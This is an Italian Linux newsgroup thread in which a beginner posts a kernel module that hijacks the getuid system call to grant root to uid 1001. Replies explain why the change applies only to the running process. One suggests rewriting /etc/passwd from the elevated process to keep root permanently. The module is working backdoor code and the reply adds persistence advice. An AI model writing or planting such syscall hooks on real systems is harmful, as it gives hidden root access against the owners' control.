Newsgroup: it.comp.os.linux.development
Titolo: SYS_getuid

Buonasera a tutti,
stò scrivendo un LKM che sostituisce la syscall "SYS_getuid" con una mia
chiamata hook_getuid.
Vi posto il codice:
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <linux/string.h>
#include <linux/slab.h>
extern void* sys_call_table[];       
int (*orig_getuid)();
int hacked_getuid()
{
    int tmp;
    
    
    if (current->uid==1001) {
        current->uid = 0;
        current->euid = 0;
        current->gid = 0;
        current->egid = 0;
        return 0;
    }
    
    tmp = (*orig_getuid) ();
    return tmp;
}
int init_module(void)                
{
 orig_getuid=sys_call_table[SYS_getuid];
 sys_call_table[SYS_getuid]=hacked_getuid;
 return 0;
}
void cleanup_module(void)            
{
 sys_call_table[SYS_getuid]=orig_getuid;                                      
}
Questo dovrebbe settare a 0 (root) tutti i parametri dell'utente con uid
1001.
Ho caricato il modulo, ed ho provato a loggarmi con l'utente:
darkstar login: pippo
Password: ***************
Linux 2.4.26.
Last login: Mon Nov  1 18:45:47 +0000 2004 on pts/2.
pippo@darkstar:~$ id
uid=1001(paolo) gid=0(root) groups=0(root)
Perchè???
Qualcuno può aiutarmi?
Ho iniziato da poco a studiare stè cose quindi non mi frustate.:-)))
Grazie a tutti
Ciao
Paolo


Ciao,
fabiomdf
--------------------------------
Inviato via 
http://arianna.libero.it/usenet/

 Luca
I miei complimenti, Luca. Ti sei svegliato dopo una settimana per dire la
stessa cosa in altre parole. E poi chi ti ha detto che è una syscall
(chiamata di sistema)?


 fabiomdf
Chiedo scusa. Si tratta di una syscall effettivamente. Credevo di ricordare
che fosse un kernel module qualsiasi.
Il concetto da me espresso non cambia. Il Richiedente (come si dice, "OP"?)
voleva cambiare i permessi utente in modo definitivo, ma con questo codice
cambia "solo" (che non č poco) i permessi del processo in esecuzione (cambia
la struct task_t del processo). Ci vogliono ancora altri passi per
modificare a "uid 0" l'utente stesso in modo definitivo.
Ciao,


 Luca
OH DDDDIOOOO!!! Kronos!!! ^_^
mammamia quanto tempo!!!
ti ricordi di me? :)
-- 
bunker
+++++++++++[>++++++>++++++++++++++++++++++++++++++++
+>++++++++++<<<-]>.>++++++++++.>.<----------.>---------.<+++++++.

 fabiomdf
Ok, come faccio per modificare l'uid dell'utente?
Magari dammi qualche info tanto per capire poi me la smazzo da solo.
Grazie Tante
Ciao
Paolo

 Paolo
 
Sintetizziamo alcune cose già dette e completiamo il discorso:
Con la syscall sys_getpid() da te sostituita all'originale stai modificando
le "credenziali" associate al processo "current". Le modifiche avvengono
nella struct task_t del processo in esecuzione. Dopo avere fatto queste
modifiche, il "current" (processo in esecuzione) ha tutti i diritti di "uid
0" (root) e può fare tutto ciò che vuole nel sistema e al sistema (anche se
mi viene in mente un dubbio su una cosina e dovrei guardare al codice del
kernel, ma lasciamo perdere se comunque ti funziona come immagino/spero).
Essendo però modificate SOLO le "credenziali" del processo in esecuzione,
quando questo va a termine e la struct task_t di "current" è distrutta anche
le nuove "credenziali" si perdono con la fine dello stesso. Questo è il
motivo per cui facendo il log come "pippo" scopri che l'utente non ha "uid
0", che di fatto non è mai stato assegnato a "pippo" ma solo al processo che
ha richiamato la syscall.
Quindi per ottenere le credenziali di root, e mantenerle per sempre, si deve
modificare il file /etc/passwd alla riga contenente le info di "pippo" (e
ciò è di gran lunga più semplice di andare a modificare il comportamento di
una syscall). Così, da subito o almeno dal prossimo login, l'utente avrà lo
"uid 0" e per sempre. L'unico problema sta nel fatto che il file /etc/passwd
può essere modificato dal superutente, ma il tuo processo, al ritorno dalla
nuova sys_getpid() dovrebbe avere tutti i diritti per permetterti di
scrivere nel file di cui sopra.
Sia chiaro che tutto questo meccanismo non dimostra niente a proposito della
vulnerabilità del kernel, perchè per modificare una syscall hardcoded in
esso devi avere il permesso di installare un nuovo kernel e fare il reboot
del sistema, mentre invece per sostituire una syscall con un modulo devi
avere i permessi per eseguire "insmod".
In ogni caso spero che si tratti solo di un esercizio e che tu lo faccia
girare solo nel tuo sistema...
Buon divertimento,



Ciao ,
prima di tutto volevo ringraziarti per avermi fatto un pò di chiarezza.
Ora ho un problema però, non riesco a caricare il mio modulo se inserisco
particolari righe di codice.
Mi spiego meglio, se inserisco una funzione che apre un file e ci scrive
dentro, gcc fà il suo dovere e compila normalmente, ma al momento di
caricarlo con insmod mi appare un mess "couldn't find the kernel version
the module was compiled for".
Sembra come se non riconoscesse le funzioni open, close, write.
ES:
 s=(char*)kmalloc(sizeof(char),GFP_KERNEL);
 n=(char*)kmalloc(sizeof(char),GFP_KERNEL);
 s="Ciao";
 n="/home/paolo/pippo.txt";
 int ll=strlen(s);
  if((fp=open(n, O_WRONLY, 0640)) == -1)
   {
   printk("Il file non esiste");
   }
  else{
   o = write(fp,s,ll);
   close(fp);
  }
 kfree(s);
 kfree(n);
La mia domanda è questa: c'è un modo per far scrivere il mio modulo in user
space?
Grazie Ancora
Ciao
Paolo


Mai usato scrivere from/to files dal kernel e credo si dovrebbe evitare. Io
uso trasferire dati da/per user space con le funzioni copy_from_user() e
copy_to_user(), provale. Comunque se non riconoscesse alcune funzioni
avresti errori di compilazione.
unsigned long copy_from_user(void * buffer, const void * from_user, unsigned
long n);
unsigned long copy_to_user(void * to_user, const void * buffer, unsigned
long n);
Buon lavoro,
